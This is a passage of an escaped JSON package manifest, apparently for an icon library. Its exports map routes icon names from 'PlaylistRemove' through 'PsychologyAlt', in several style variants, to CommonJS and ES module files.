\"./PlaylistPlayTwoTone.mjs\"\n    },\n    \"./PlaylistRemove\": {\n      \"require\": \"./PlaylistRemove.js\",\n      \"import\": \"./PlaylistRemove.mjs\",\n      \"default\": \"./PlaylistRemove.mjs\"\n    },\n    \"./PlaylistRemoveOutlined\": {\n      \"require\": \"./PlaylistRemoveOutlined.js\",\n      \"import\": \"./PlaylistRemoveOutlined.mjs\",\n      \"default\": \"./PlaylistRemoveOutlined.mjs\"\n    },\n    \"./PlaylistRemoveRounded\": {\n      \"require\": \"./PlaylistRemoveRounded.js\",\n      \"import\": \"./PlaylistRemoveRounded.mjs\",\n      \"default\": \"./PlaylistRemoveRounded.mjs\"\n    },\n    \"./PlaylistRemoveSharp\": {\n      \"require\": \"./PlaylistRemoveSharp.js\",\n      \"import\": \"./PlaylistRemoveSharp.mjs\",\n      \"default\": \"./PlaylistRemoveSharp.mjs\"\n    },\n    \"./PlaylistRemoveTwoTone\": {\n      \"require\": \"./PlaylistRemoveTwoTone.js\",\n      \"import\": \"./PlaylistRemoveTwoTone.mjs\",\n      \"default\": \"./PlaylistRemoveTwoTone.mjs\"\n    },\n    \"./Plumbing\": {\n      \"require\": \"./Plumbing.js\",\n      \"import\": \"./Plumbing.mjs\",\n      \"default\": \"./Plumbing.mjs\"\n    },\n    \"./PlumbingOutlined\": {\n      \"import\": \"./PlumbingOutlined.mjs\",\n      \"require\": \"./PlumbingOutlined.js\",\n      \"default\": \"./PlumbingOutlined.mjs\"\n    },\n    \"./PlumbingRounded\": {\n      \"require\": \"./PlumbingRounded.js\",\n      \"import\": \"./PlumbingRounded.mjs\",\n      \"default\": \"./PlumbingRounded.mjs\"\n    },\n    \"./PlumbingSharp\": {\n      \"require\": \"./PlumbingSharp.js\",\n      \"import\": \"./PlumbingSharp.mjs\",\n      \"default\": \"./PlumbingSharp.mjs\"\n    },\n    \"./PlumbingTwoTone\": {\n      \"require\": \"./PlumbingTwoTone.js\",\n      \"import\": \"./PlumbingTwoTone.mjs\",\n      \"default\": \"./PlumbingTwoTone.mjs\"\n    },\n    \"./PlusOne\": {\n      \"require\": \"./PlusOne.js\",\n      \"import\": \"./PlusOne.mjs\",\n      \"default\": \"./PlusOne.mjs\"\n    },\n    \"./PlusOneOutlined\": {\n      \"import\": \"./PlusOneOutlined.mjs\",\n      \"require\": \"./PlusOneOutlined.js\",\n      \"default\": \"./PlusOneOutlined.mjs\"\n    },\n    \"./PlusOneRounded\": {\n      \"import\": \"./PlusOneRounded.mjs\",\n      \"require\": \"./PlusOneRounded.js\",\n      \"default\": \"./PlusOneRounded.mjs\"\n    },\n    \"./PlusOneSharp\": {\n      \"import\": \"./PlusOneSharp.mjs\",\n      \"require\": \"./PlusOneSharp.js\",\n      \"default\": \"./PlusOneSharp.mjs\"\n    },\n    \"./PlusOneTwoTone\": {\n      \"import\": \"./PlusOneTwoTone.mjs\",\n      \"require\": \"./PlusOneTwoTone.js\",\n      \"default\": \"./PlusOneTwoTone.mjs\"\n    },\n    \"./Podcasts\": {\n      \"require\": \"./Podcasts.js\",\n      \"import\": \"./Podcasts.mjs\",\n      \"default\": \"./Podcasts.mjs\"\n    },\n    \"./PodcastsOutlined\": {\n      \"require\": \"./PodcastsOutlined.js\",\n      \"import\": \"./PodcastsOutlined.mjs\",\n      \"default\": \"./PodcastsOutlined.mjs\"\n    },\n    \"./PodcastsRounded\": {\n      \"require\": \"./PodcastsRounded.js\",\n      \"import\": \"./PodcastsRounded.mjs\",\n      \"default\": \"./PodcastsRounded.mjs\"\n    },\n    \"./PodcastsSharp\": {\n      \"require\": \"./PodcastsSharp.js\",\n      \"import\": \"./PodcastsSharp.mjs\",\n      \"default\": \"./PodcastsSharp.mjs\"\n    },\n    \"./PodcastsTwoTone\": {\n      \"import\": \"./PodcastsTwoTone.mjs\",\n      \"require\": \"./PodcastsTwoTone.js\",\n      \"default\": \"./PodcastsTwoTone.mjs\"\n    },\n    \"./PointOfSale\": {\n      \"import\": \"./PointOfSale.mjs\",\n      \"require\": \"./PointOfSale.js\",\n      \"default\": \"./PointOfSale.mjs\"\n    },\n    \"./PointOfSaleOutlined\": {\n      \"import\": \"./PointOfSaleOutlined.mjs\",\n      \"require\": \"./PointOfSaleOutlined.js\",\n      \"default\": \"./PointOfSaleOutlined.mjs\"\n    },\n    \"./PointOfSaleRounded\": {\n      \"import\": \"./PointOfSaleRounded.mjs\",\n      \"require\": \"./PointOfSaleRounded.js\",\n      \"default\": \"./PointOfSaleRounded.mjs\"\n    },\n    \"./PointOfSaleSharp\": {\n      \"import\": \"./PointOfSaleSharp.mjs\",\n      \"require\": \"./PointOfSaleSharp.js\",\n      \"default\": \"./PointOfSaleSharp.mjs\"\n    },\n    \"./PointOfSaleTwoTone\": {\n      \"import\": \"./PointOfSaleTwoTone.mjs\",\n      \"require\": \"./PointOfSaleTwoTone.js\",\n      \"default\": \"./PointOfSaleTwoTone.mjs\"\n    },\n    \"./Policy\": {\n      \"import\": \"./Policy.mjs\",\n      \"require\": \"./Policy.js\",\n      \"default\": \"./Policy.mjs\"\n    },\n    \"./PolicyOutlined\": {\n      \"import\": \"./PolicyOutlined.mjs\",\n      \"require\": \"./PolicyOutlined.js\",\n      \"default\": \"./PolicyOutlined.mjs\"\n    },\n    \"./PolicyRounded\": {\n      \"import\": \"./PolicyRounded.mjs\",\n      \"require\": \"./PolicyRounded.js\",\n      \"default\": \"./PolicyRounded.mjs\"\n    },\n    \"./PolicySharp\": {\n      \"import\": \"./PolicySharp.mjs\",\n      \"require\": \"./PolicySharp.js\",\n      \"default\": \"./PolicySharp.mjs\"\n    },\n    \"./PolicyTwoTone\": {\n      \"import\": \"./PolicyTwoTone.mjs\",\n      \"require\": \"./PolicyTwoTone.js\",\n      \"default\": \"./PolicyTwoTone.mjs\"\n    },\n    \"./Poll\": {\n      \"import\": \"./Poll.mjs\",\n      \"require\": \"./Poll.js\",\n      \"default\": \"./Poll.mjs\"\n    },\n    \"./PollOutlined\": {\n      \"import\": \"./PollOutlined.mjs\",\n      \"require\": \"./PollOutlined.js\",\n      \"default\": \"./PollOutlined.mjs\"\n    },\n    \"./PollRounded\": {\n      \"import\": \"./PollRounded.mjs\",\n      \"require\": \"./PollRounded.js\",\n      \"default\": \"./PollRounded.mjs\"\n    },\n    \"./PollSharp\": {\n      \"import\": \"./PollSharp.mjs\",\n      \"require\": \"./PollSharp.js\",\n      \"default\": \"./PollSharp.mjs\"\n    },\n    \"./PollTwoTone\": {\n      \"import\": \"./PollTwoTone.mjs\",\n      \"require\": \"./PollTwoTone.js\",\n      \"default\": \"./PollTwoTone.mjs\"\n    },\n    \"./Polyline\": {\n      \"import\": \"./Polyline.mjs\",\n      \"require\": \"./Polyline.js\",\n      \"default\": \"./Polyline.mjs\"\n    },\n    \"./PolylineOutlined\": {\n      \"import\": \"./PolylineOutlined.mjs\",\n      \"require\": \"./PolylineOutlined.js\",\n      \"default\": \"./PolylineOutlined.mjs\"\n    },\n    \"./PolylineRounded\": {\n      \"import\": \"./PolylineRounded.mjs\",\n      \"require\": \"./PolylineRounded.js\",\n      \"default\": \"./PolylineRounded.mjs\"\n    },\n    \"./PolylineSharp\": {\n      \"import\": \"./PolylineSharp.mjs\",\n      \"require\": \"./PolylineSharp.js\",\n      \"default\": \"./PolylineSharp.mjs\"\n    },\n    \"./PolylineTwoTone\": {\n      \"import\": \"./PolylineTwoTone.mjs\",\n      \"require\": \"./PolylineTwoTone.js\",\n      \"default\": \"./PolylineTwoTone.mjs\"\n    },\n    \"./Pool\": {\n      \"import\": \"./Pool.mjs\",\n      \"require\": \"./Pool.js\",\n      \"default\": \"./Pool.mjs\"\n    },\n    \"./PoolOutlined\": {\n      \"import\": \"./PoolOutlined.mjs\",\n      \"require\": \"./PoolOutlined.js\",\n      \"default\": \"./PoolOutlined.mjs\"\n    },\n    \"./PoolRounded\": {\n      \"import\": \"./PoolRounded.mjs\",\n      \"require\": \"./PoolRounded.js\",\n      \"default\": \"./PoolRounded.mjs\"\n    },\n    \"./PoolSharp\": {\n      \"import\": \"./PoolSharp.mjs\",\n      \"require\": \"./PoolSharp.js\",\n      \"default\": \"./PoolSharp.mjs\"\n    },\n    \"./PoolTwoTone\": {\n      \"import\": \"./PoolTwoTone.mjs\",\n      \"require\": \"./PoolTwoTone.js\",\n      \"default\": \"./PoolTwoTone.mjs\"\n    },\n    \"./PortableWifiOff\": {\n      \"import\": \"./PortableWifiOff.mjs\",\n      \"require\": \"./PortableWifiOff.js\",\n      \"default\": \"./PortableWifiOff.mjs\"\n    },\n    \"./PortableWifiOffOutlined\": {\n      \"require\": \"./PortableWifiOffOutlined.js\",\n      \"import\": \"./PortableWifiOffOutlined.mjs\",\n      \"default\": \"./PortableWifiOffOutlined.mjs\"\n    },\n    \"./PortableWifiOffRounded\": {\n      \"require\": \"./PortableWifiOffRounded.js\",\n      \"import\": \"./PortableWifiOffRounded.mjs\",\n      \"default\": \"./PortableWifiOffRounded.mjs\"\n    },\n    \"./PortableWifiOffSharp\": {\n      \"require\": \"./PortableWifiOffSharp.js\",\n      \"import\": \"./PortableWifiOffSharp.mjs\",\n      \"default\": \"./PortableWifiOffSharp.mjs\"\n    },\n    \"./PortableWifiOffTwoTone\": {\n      \"require\": \"./PortableWifiOffTwoTone.js\",\n      \"import\": \"./PortableWifiOffTwoTone.mjs\",\n      \"default\": \"./PortableWifiOffTwoTone.mjs\"\n    },\n    \"./Portrait\": {\n      \"require\": \"./Portrait.js\",\n      \"import\": \"./Portrait.mjs\",\n      \"default\": \"./Portrait.mjs\"\n    },\n    \"./PortraitOutlined\": {\n      \"require\": \"./PortraitOutlined.js\",\n      \"import\": \"./PortraitOutlined.mjs\",\n      \"default\": \"./PortraitOutlined.mjs\"\n    },\n    \"./PortraitRounded\": {\n      \"require\": \"./PortraitRounded.js\",\n      \"import\": \"./PortraitRounded.mjs\",\n      \"default\": \"./PortraitRounded.mjs\"\n    },\n    \"./PortraitSharp\": {\n      \"require\": \"./PortraitSharp.js\",\n      \"import\": \"./PortraitSharp.mjs\",\n      \"default\": \"./PortraitSharp.mjs\"\n    },\n    \"./PortraitTwoTone\": {\n      \"require\": \"./PortraitTwoTone.js\",\n      \"import\": \"./PortraitTwoTone.mjs\",\n      \"default\": \"./PortraitTwoTone.mjs\"\n    },\n    \"./PostAdd\": {\n      \"require\": \"./PostAdd.js\",\n      \"import\": \"./PostAdd.mjs\",\n      \"default\": \"./PostAdd.mjs\"\n    },\n    \"./PostAddOutlined\": {\n      \"require\": \"./PostAddOutlined.js\",\n      \"import\": \"./PostAddOutlined.mjs\",\n      \"default\": \"./PostAddOutlined.mjs\"\n    },\n    \"./PostAddRounded\": {\n      \"require\": \"./PostAddRounded.js\",\n      \"import\": \"./PostAddRounded.mjs\",\n      \"default\": \"./PostAddRounded.mjs\"\n    },\n    \"./PostAddSharp\": {\n      \"require\": \"./PostAddSharp.js\",\n      \"import\": \"./PostAddSharp.mjs\",\n      \"default\": \"./PostAddSharp.mjs\"\n    },\n    \"./PostAddTwoTone\": {\n      \"require\": \"./PostAddTwoTone.js\",\n      \"import\": \"./PostAddTwoTone.mjs\",\n      \"default\": \"./PostAddTwoTone.mjs\"\n    },\n    \"./Power\": {\n      \"require\": \"./Power.js\",\n      \"import\": \"./Power.mjs\",\n      \"default\": \"./Power.mjs\"\n    },\n    \"./PowerInput\": {\n      \"require\": \"./PowerInput.js\",\n      \"import\": \"./PowerInput.mjs\",\n      \"default\": \"./PowerInput.mjs\"\n    },\n    \"./PowerInputOutlined\": {\n      \"require\": \"./PowerInputOutlined.js\",\n      \"import\": \"./PowerInputOutlined.mjs\",\n      \"default\": \"./PowerInputOutlined.mjs\"\n    },\n    \"./PowerInputRounded\": {\n      \"require\": \"./PowerInputRounded.js\",\n      \"import\": \"./PowerInputRounded.mjs\",\n      \"default\": \"./PowerInputRounded.mjs\"\n    },\n    \"./PowerInputSharp\": {\n      \"require\": \"./PowerInputSharp.js\",\n      \"import\": \"./PowerInputSharp.mjs\",\n      \"default\": \"./PowerInputSharp.mjs\"\n    },\n    \"./PowerInputTwoTone\": {\n      \"require\": \"./PowerInputTwoTone.js\",\n      \"import\": \"./PowerInputTwoTone.mjs\",\n      \"default\": \"./PowerInputTwoTone.mjs\"\n    },\n    \"./PowerOff\": {\n      \"require\": \"./PowerOff.js\",\n      \"import\": \"./PowerOff.mjs\",\n      \"default\": \"./PowerOff.mjs\"\n    },\n    \"./PowerOffOutlined\": {\n      \"require\": \"./PowerOffOutlined.js\",\n      \"import\": \"./PowerOffOutlined.mjs\",\n      \"default\": \"./PowerOffOutlined.mjs\"\n    },\n    \"./PowerOffRounded\": {\n      \"require\": \"./PowerOffRounded.js\",\n      \"import\": \"./PowerOffRounded.mjs\",\n      \"default\": \"./PowerOffRounded.mjs\"\n    },\n    \"./PowerOffSharp\": {\n      \"import\": \"./PowerOffSharp.mjs\",\n      \"require\": \"./PowerOffSharp.js\",\n      \"default\": \"./PowerOffSharp.mjs\"\n    },\n    \"./PowerOffTwoTone\": {\n      \"import\": \"./PowerOffTwoTone.mjs\",\n      \"require\": \"./PowerOffTwoTone.js\",\n      \"default\": \"./PowerOffTwoTone.mjs\"\n    },\n    \"./PowerOutlined\": {\n      \"import\": \"./PowerOutlined.mjs\",\n      \"require\": \"./PowerOutlined.js\",\n      \"default\": \"./PowerOutlined.mjs\"\n    },\n    \"./PowerRounded\": {\n      \"import\": \"./PowerRounded.mjs\",\n      \"require\": \"./PowerRounded.js\",\n      \"default\": \"./PowerRounded.mjs\"\n    },\n    \"./PowerSettingsNew\": {\n      \"import\": \"./PowerSettingsNew.mjs\",\n      \"require\": \"./PowerSettingsNew.js\",\n      \"default\": \"./PowerSettingsNew.mjs\"\n    },\n    \"./PowerSettingsNewOutlined\": {\n      \"import\": \"./PowerSettingsNewOutlined.mjs\",\n      \"require\": \"./PowerSettingsNewOutlined.js\",\n      \"default\": \"./PowerSettingsNewOutlined.mjs\"\n    },\n    \"./PowerSettingsNewRounded\": {\n      \"import\": \"./PowerSettingsNewRounded.mjs\",\n      \"require\": \"./PowerSettingsNewRounded.js\",\n      \"default\": \"./PowerSettingsNewRounded.mjs\"\n    },\n    \"./PowerSettingsNewSharp\": {\n      \"import\": \"./PowerSettingsNewSharp.mjs\",\n      \"require\": \"./PowerSettingsNewSharp.js\",\n      \"default\": \"./PowerSettingsNewSharp.mjs\"\n    },\n    \"./PowerSettingsNewTwoTone\": {\n      \"import\": \"./PowerSettingsNewTwoTone.mjs\",\n      \"require\": \"./PowerSettingsNewTwoTone.js\",\n      \"default\": \"./PowerSettingsNewTwoTone.mjs\"\n    },\n    \"./PowerSharp\": {\n      \"import\": \"./PowerSharp.mjs\",\n      \"require\": \"./PowerSharp.js\",\n      \"default\": \"./PowerSharp.mjs\"\n    },\n    \"./PowerTwoTone\": {\n      \"import\": \"./PowerTwoTone.mjs\",\n      \"require\": \"./PowerTwoTone.js\",\n      \"default\": \"./PowerTwoTone.mjs\"\n    },\n    \"./PrecisionManufacturing\": {\n      \"import\": \"./PrecisionManufacturing.mjs\",\n      \"require\": \"./PrecisionManufacturing.js\",\n      \"default\": \"./PrecisionManufacturing.mjs\"\n    },\n    \"./PrecisionManufacturingOutlined\": {\n      \"require\": \"./PrecisionManufacturingOutlined.js\",\n      \"import\": \"./PrecisionManufacturingOutlined.mjs\",\n      \"default\": \"./PrecisionManufacturingOutlined.mjs\"\n    },\n    \"./PrecisionManufacturingRounded\": {\n      \"require\": \"./PrecisionManufacturingRounded.js\",\n      \"import\": \"./PrecisionManufacturingRounded.mjs\",\n      \"default\": \"./PrecisionManufacturingRounded.mjs\"\n    },\n    \"./PrecisionManufacturingSharp\": {\n      \"require\": \"./PrecisionManufacturingSharp.js\",\n      \"import\": \"./PrecisionManufacturingSharp.mjs\",\n      \"default\": \"./PrecisionManufacturingSharp.mjs\"\n    },\n    \"./PrecisionManufacturingTwoTone\": {\n      \"require\": \"./PrecisionManufacturingTwoTone.js\",\n      \"import\": \"./PrecisionManufacturingTwoTone.mjs\",\n      \"default\": \"./PrecisionManufacturingTwoTone.mjs\"\n    },\n    \"./PregnantWoman\": {\n      \"require\": \"./PregnantWoman.js\",\n      \"import\": \"./PregnantWoman.mjs\",\n      \"default\": \"./PregnantWoman.mjs\"\n    },\n    \"./PregnantWomanOutlined\": {\n      \"require\": \"./PregnantWomanOutlined.js\",\n      \"import\": \"./PregnantWomanOutlined.mjs\",\n      \"default\": \"./PregnantWomanOutlined.mjs\"\n    },\n    \"./PregnantWomanRounded\": {\n      \"import\": \"./PregnantWomanRounded.mjs\",\n      \"require\": \"./PregnantWomanRounded.js\",\n      \"default\": \"./PregnantWomanRounded.mjs\"\n    },\n    \"./PregnantWomanSharp\": {\n      \"import\": \"./PregnantWomanSharp.mjs\",\n      \"require\": \"./PregnantWomanSharp.js\",\n      \"default\": \"./PregnantWomanSharp.mjs\"\n    },\n    \"./PregnantWomanTwoTone\": {\n      \"import\": \"./PregnantWomanTwoTone.mjs\",\n      \"require\": \"./PregnantWomanTwoTone.js\",\n      \"default\": \"./PregnantWomanTwoTone.mjs\"\n    },\n    \"./PresentToAll\": {\n      \"import\": \"./PresentToAll.mjs\",\n      \"require\": \"./PresentToAll.js\",\n      \"default\": \"./PresentToAll.mjs\"\n    },\n    \"./PresentToAllOutlined\": {\n      \"require\": \"./PresentToAllOutlined.js\",\n      \"import\": \"./PresentToAllOutlined.mjs\",\n      \"default\": \"./PresentToAllOutlined.mjs\"\n    },\n    \"./PresentToAllRounded\": {\n      \"require\": \"./PresentToAllRounded.js\",\n      \"import\": \"./PresentToAllRounded.mjs\",\n      \"default\": \"./PresentToAllRounded.mjs\"\n    },\n    \"./PresentToAllSharp\": {\n      \"require\": \"./PresentToAllSharp.js\",\n      \"import\": \"./PresentToAllSharp.mjs\",\n      \"default\": \"./PresentToAllSharp.mjs\"\n    },\n    \"./PresentToAllTwoTone\": {\n      \"import\": \"./PresentToAllTwoTone.mjs\",\n      \"require\": \"./PresentToAllTwoTone.js\",\n      \"default\": \"./PresentToAllTwoTone.mjs\"\n    },\n    \"./Preview\": {\n      \"import\": \"./Preview.mjs\",\n      \"require\": \"./Preview.js\",\n      \"default\": \"./Preview.mjs\"\n    },\n    \"./PreviewOutlined\": {\n      \"import\": \"./PreviewOutlined.mjs\",\n      \"require\": \"./PreviewOutlined.js\",\n      \"default\": \"./PreviewOutlined.mjs\"\n    },\n    \"./PreviewRounded\": {\n      \"require\": \"./PreviewRounded.js\",\n      \"import\": \"./PreviewRounded.mjs\",\n      \"default\": \"./PreviewRounded.mjs\"\n    },\n    \"./PreviewSharp\": {\n      \"require\": \"./PreviewSharp.js\",\n      \"import\": \"./PreviewSharp.mjs\",\n      \"default\": \"./PreviewSharp.mjs\"\n    },\n    \"./PreviewTwoTone\": {\n      \"require\": \"./PreviewTwoTone.js\",\n      \"import\": \"./PreviewTwoTone.mjs\",\n      \"default\": \"./PreviewTwoTone.mjs\"\n    },\n    \"./PriceChange\": {\n      \"require\": \"./PriceChange.js\",\n      \"import\": \"./PriceChange.mjs\",\n      \"default\": \"./PriceChange.mjs\"\n    },\n    \"./PriceChangeOutlined\": {\n      \"require\": \"./PriceChangeOutlined.js\",\n      \"import\": \"./PriceChangeOutlined.mjs\",\n      \"default\": \"./PriceChangeOutlined.mjs\"\n    },\n    \"./PriceChangeRounded\": {\n      \"require\": \"./PriceChangeRounded.js\",\n      \"import\": \"./PriceChangeRounded.mjs\",\n      \"default\": \"./PriceChangeRounded.mjs\"\n    },\n    \"./PriceChangeSharp\": {\n      \"require\": \"./PriceChangeSharp.js\",\n      \"import\": \"./PriceChangeSharp.mjs\",\n      \"default\": \"./PriceChangeSharp.mjs\"\n    },\n    \"./PriceChangeTwoTone\": {\n      \"import\": \"./PriceChangeTwoTone.mjs\",\n      \"require\": \"./PriceChangeTwoTone.js\",\n      \"default\": \"./PriceChangeTwoTone.mjs\"\n    },\n    \"./PriceCheck\": {\n      \"import\": \"./PriceCheck.mjs\",\n      \"require\": \"./PriceCheck.js\",\n      \"default\": \"./PriceCheck.mjs\"\n    },\n    \"./PriceCheckOutlined\": {\n      \"import\": \"./PriceCheckOutlined.mjs\",\n      \"require\": \"./PriceCheckOutlined.js\",\n      \"default\": \"./PriceCheckOutlined.mjs\"\n    },\n    \"./PriceCheckRounded\": {\n      \"import\": \"./PriceCheckRounded.mjs\",\n      \"require\": \"./PriceCheckRounded.js\",\n      \"default\": \"./PriceCheckRounded.mjs\"\n    },\n    \"./PriceCheckSharp\": {\n      \"import\": \"./PriceCheckSharp.mjs\",\n      \"require\": \"./PriceCheckSharp.js\",\n      \"default\": \"./PriceCheckSharp.mjs\"\n    },\n    \"./PriceCheckTwoTone\": {\n      \"import\": \"./PriceCheckTwoTone.mjs\",\n      \"require\": \"./PriceCheckTwoTone.js\",\n      \"default\": \"./PriceCheckTwoTone.mjs\"\n    },\n    \"./Print\": {\n      \"import\": \"./Print.mjs\",\n      \"require\": \"./Print.js\",\n      \"default\": \"./Print.mjs\"\n    },\n    \"./PrintDisabled\": {\n      \"import\": \"./PrintDisabled.mjs\",\n      \"require\": \"./PrintDisabled.js\",\n      \"default\": \"./PrintDisabled.mjs\"\n    },\n    \"./PrintDisabledOutlined\": {\n      \"import\": \"./PrintDisabledOutlined.mjs\",\n      \"require\": \"./PrintDisabledOutlined.js\",\n      \"default\": \"./PrintDisabledOutlined.mjs\"\n    },\n    \"./PrintDisabledRounded\": {\n      \"import\": \"./PrintDisabledRounded.mjs\",\n      \"require\": \"./PrintDisabledRounded.js\",\n      \"default\": \"./PrintDisabledRounded.mjs\"\n    },\n    \"./PrintDisabledSharp\": {\n      \"import\": \"./PrintDisabledSharp.mjs\",\n      \"require\": \"./PrintDisabledSharp.js\",\n      \"default\": \"./PrintDisabledSharp.mjs\"\n    },\n    \"./PrintDisabledTwoTone\": {\n      \"import\": \"./PrintDisabledTwoTone.mjs\",\n      \"require\": \"./PrintDisabledTwoTone.js\",\n      \"default\": \"./PrintDisabledTwoTone.mjs\"\n    },\n    \"./PrintOutlined\": {\n      \"import\": \"./PrintOutlined.mjs\",\n      \"require\": \"./PrintOutlined.js\",\n      \"default\": \"./PrintOutlined.mjs\"\n    },\n    \"./PrintRounded\": {\n      \"import\": \"./PrintRounded.mjs\",\n      \"require\": \"./PrintRounded.js\",\n      \"default\": \"./PrintRounded.mjs\"\n    },\n    \"./PrintSharp\": {\n      \"import\": \"./PrintSharp.mjs\",\n      \"require\": \"./PrintSharp.js\",\n      \"default\": \"./PrintSharp.mjs\"\n    },\n    \"./PrintTwoTone\": {\n      \"import\": \"./PrintTwoTone.mjs\",\n      \"require\": \"./PrintTwoTone.js\",\n      \"default\": \"./PrintTwoTone.mjs\"\n    },\n    \"./PriorityHigh\": {\n      \"require\": \"./PriorityHigh.js\",\n      \"import\": \"./PriorityHigh.mjs\",\n      \"default\": \"./PriorityHigh.mjs\"\n    },\n    \"./PriorityHighOutlined\": {\n      \"require\": \"./PriorityHighOutlined.js\",\n      \"import\": \"./PriorityHighOutlined.mjs\",\n      \"default\": \"./PriorityHighOutlined.mjs\"\n    },\n    \"./PriorityHighRounded\": {\n      \"require\": \"./PriorityHighRounded.js\",\n      \"import\": \"./PriorityHighRounded.mjs\",\n      \"default\": \"./PriorityHighRounded.mjs\"\n    },\n    \"./PriorityHighSharp\": {\n      \"require\": \"./PriorityHighSharp.js\",\n      \"import\": \"./PriorityHighSharp.mjs\",\n      \"default\": \"./PriorityHighSharp.mjs\"\n    },\n    \"./PriorityHighTwoTone\": {\n      \"require\": \"./PriorityHighTwoTone.js\",\n      \"import\": \"./PriorityHighTwoTone.mjs\",\n      \"default\": \"./PriorityHighTwoTone.mjs\"\n    },\n    \"./PrivacyTip\": {\n      \"require\": \"./PrivacyTip.js\",\n      \"import\": \"./PrivacyTip.mjs\",\n      \"default\": \"./PrivacyTip.mjs\"\n    },\n    \"./PrivacyTipOutlined\": {\n      \"require\": \"./PrivacyTipOutlined.js\",\n      \"import\": \"./PrivacyTipOutlined.mjs\",\n      \"default\": \"./PrivacyTipOutlined.mjs\"\n    },\n    \"./PrivacyTipRounded\": {\n      \"require\": \"./PrivacyTipRounded.js\",\n      \"import\": \"./PrivacyTipRounded.mjs\",\n      \"default\": \"./PrivacyTipRounded.mjs\"\n    },\n    \"./PrivacyTipSharp\": {\n      \"require\": \"./PrivacyTipSharp.js\",\n      \"import\": \"./PrivacyTipSharp.mjs\",\n      \"default\": \"./PrivacyTipSharp.mjs\"\n    },\n    \"./PrivacyTipTwoTone\": {\n      \"import\": \"./PrivacyTipTwoTone.mjs\",\n      \"require\": \"./PrivacyTipTwoTone.js\",\n      \"default\": \"./PrivacyTipTwoTone.mjs\"\n    },\n    \"./PrivateConnectivity\": {\n      \"import\": \"./PrivateConnectivity.mjs\",\n      \"require\": \"./PrivateConnectivity.js\",\n      \"default\": \"./PrivateConnectivity.mjs\"\n    },\n    \"./PrivateConnectivityOutlined\": {\n      \"import\": \"./PrivateConnectivityOutlined.mjs\",\n      \"require\": \"./PrivateConnectivityOutlined.js\",\n      \"default\": \"./PrivateConnectivityOutlined.mjs\"\n    },\n    \"./PrivateConnectivityRounded\": {\n      \"import\": \"./PrivateConnectivityRounded.mjs\",\n      \"require\": \"./PrivateConnectivityRounded.js\",\n      \"default\": \"./PrivateConnectivityRounded.mjs\"\n    },\n    \"./PrivateConnectivitySharp\": {\n      \"import\": \"./PrivateConnectivitySharp.mjs\",\n      \"require\": \"./PrivateConnectivitySharp.js\",\n      \"default\": \"./PrivateConnectivitySharp.mjs\"\n    },\n    \"./PrivateConnectivityTwoTone\": {\n      \"import\": \"./PrivateConnectivityTwoTone.mjs\",\n      \"require\": \"./PrivateConnectivityTwoTone.js\",\n      \"default\": \"./PrivateConnectivityTwoTone.mjs\"\n    },\n    \"./ProductionQuantityLimits\": {\n      \"import\": \"./ProductionQuantityLimits.mjs\",\n      \"require\": \"./ProductionQuantityLimits.js\",\n      \"default\": \"./ProductionQuantityLimits.mjs\"\n    },\n    \"./ProductionQuantityLimitsOutlined\": {\n      \"import\": \"./ProductionQuantityLimitsOutlined.mjs\",\n      \"require\": \"./ProductionQuantityLimitsOutlined.js\",\n      \"default\": \"./ProductionQuantityLimitsOutlined.mjs\"\n    },\n    \"./ProductionQuantityLimitsRounded\": {\n      \"import\": \"./ProductionQuantityLimitsRounded.mjs\",\n      \"require\": \"./ProductionQuantityLimitsRounded.js\",\n      \"default\": \"./ProductionQuantityLimitsRounded.mjs\"\n    },\n    \"./ProductionQuantityLimitsSharp\": {\n      \"import\": \"./ProductionQuantityLimitsSharp.mjs\",\n      \"require\": \"./ProductionQuantityLimitsSharp.js\",\n      \"default\": \"./ProductionQuantityLimitsSharp.mjs\"\n    },\n    \"./ProductionQuantityLimitsTwoTone\": {\n      \"import\": \"./ProductionQuantityLimitsTwoTone.mjs\",\n      \"require\": \"./ProductionQuantityLimitsTwoTone.js\",\n      \"default\": \"./ProductionQuantityLimitsTwoTone.mjs\"\n    },\n    \"./Propane\": {\n      \"import\": \"./Propane.mjs\",\n      \"require\": \"./Propane.js\",\n      \"default\": \"./Propane.mjs\"\n    },\n    \"./PropaneOutlined\": {\n      \"import\": \"./PropaneOutlined.mjs\",\n      \"require\": \"./PropaneOutlined.js\",\n      \"default\": \"./PropaneOutlined.mjs\"\n    },\n    \"./PropaneRounded\": {\n      \"import\": \"./PropaneRounded.mjs\",\n      \"require\": \"./PropaneRounded.js\",\n      \"default\": \"./PropaneRounded.mjs\"\n    },\n    \"./PropaneSharp\": {\n      \"require\": \"./PropaneSharp.js\",\n      \"import\": \"./PropaneSharp.mjs\",\n      \"default\": \"./PropaneSharp.mjs\"\n    },\n    \"./PropaneTank\": {\n      \"require\": \"./PropaneTank.js\",\n      \"import\": \"./PropaneTank.mjs\",\n      \"default\": \"./PropaneTank.mjs\"\n    },\n    \"./PropaneTankOutlined\": {\n      \"require\": \"./PropaneTankOutlined.js\",\n      \"import\": \"./PropaneTankOutlined.mjs\",\n      \"default\": \"./PropaneTankOutlined.mjs\"\n    },\n    \"./PropaneTankRounded\": {\n      \"require\": \"./PropaneTankRounded.js\",\n      \"import\": \"./PropaneTankRounded.mjs\",\n      \"default\": \"./PropaneTankRounded.mjs\"\n    },\n    \"./PropaneTankSharp\": {\n      \"require\": \"./PropaneTankSharp.js\",\n      \"import\": \"./PropaneTankSharp.mjs\",\n      \"default\": \"./PropaneTankSharp.mjs\"\n    },\n    \"./PropaneTankTwoTone\": {\n      \"require\": \"./PropaneTankTwoTone.js\",\n      \"import\": \"./PropaneTankTwoTone.mjs\",\n      \"default\": \"./PropaneTankTwoTone.mjs\"\n    },\n    \"./PropaneTwoTone\": {\n      \"require\": \"./PropaneTwoTone.js\",\n      \"import\": \"./PropaneTwoTone.mjs\",\n      \"default\": \"./PropaneTwoTone.mjs\"\n    },\n    \"./Psychology\": {\n      \"require\": \"./Psychology.js\",\n      \"import\": \"./Psychology.mjs\",\n      \"default\": \"./Psychology.mjs\"\n    },\n    \"./PsychologyAlt\": {\n      \"require\": \"./PsychologyAlt.js\",\n      \"import\": \"./PsychologyAlt.mjs\",\n      \"default\": \"./PsychologyAlt.mjs\"\n    },\n    \"./PsychologyAltOutlined\": {\n      \"require\": \"./PsychologyAltOutlined.js\",\n      \"import\": \"./PsychologyAltOutlined.mjs\",\n      \"default\": \"./PsychologyAltOutlined.mjs\"\n    },\n    \"./PsychologyAltRounded\": {\n      \"require\": \"./PsychologyAltRounded.js\",\n      \"import\": \"./PsychologyAltRounded.mjs\",\n      \"default\": \"./PsychologyAltRounded.mjs\"\n    },\n    \"./PsychologyAltSharp\": {\n  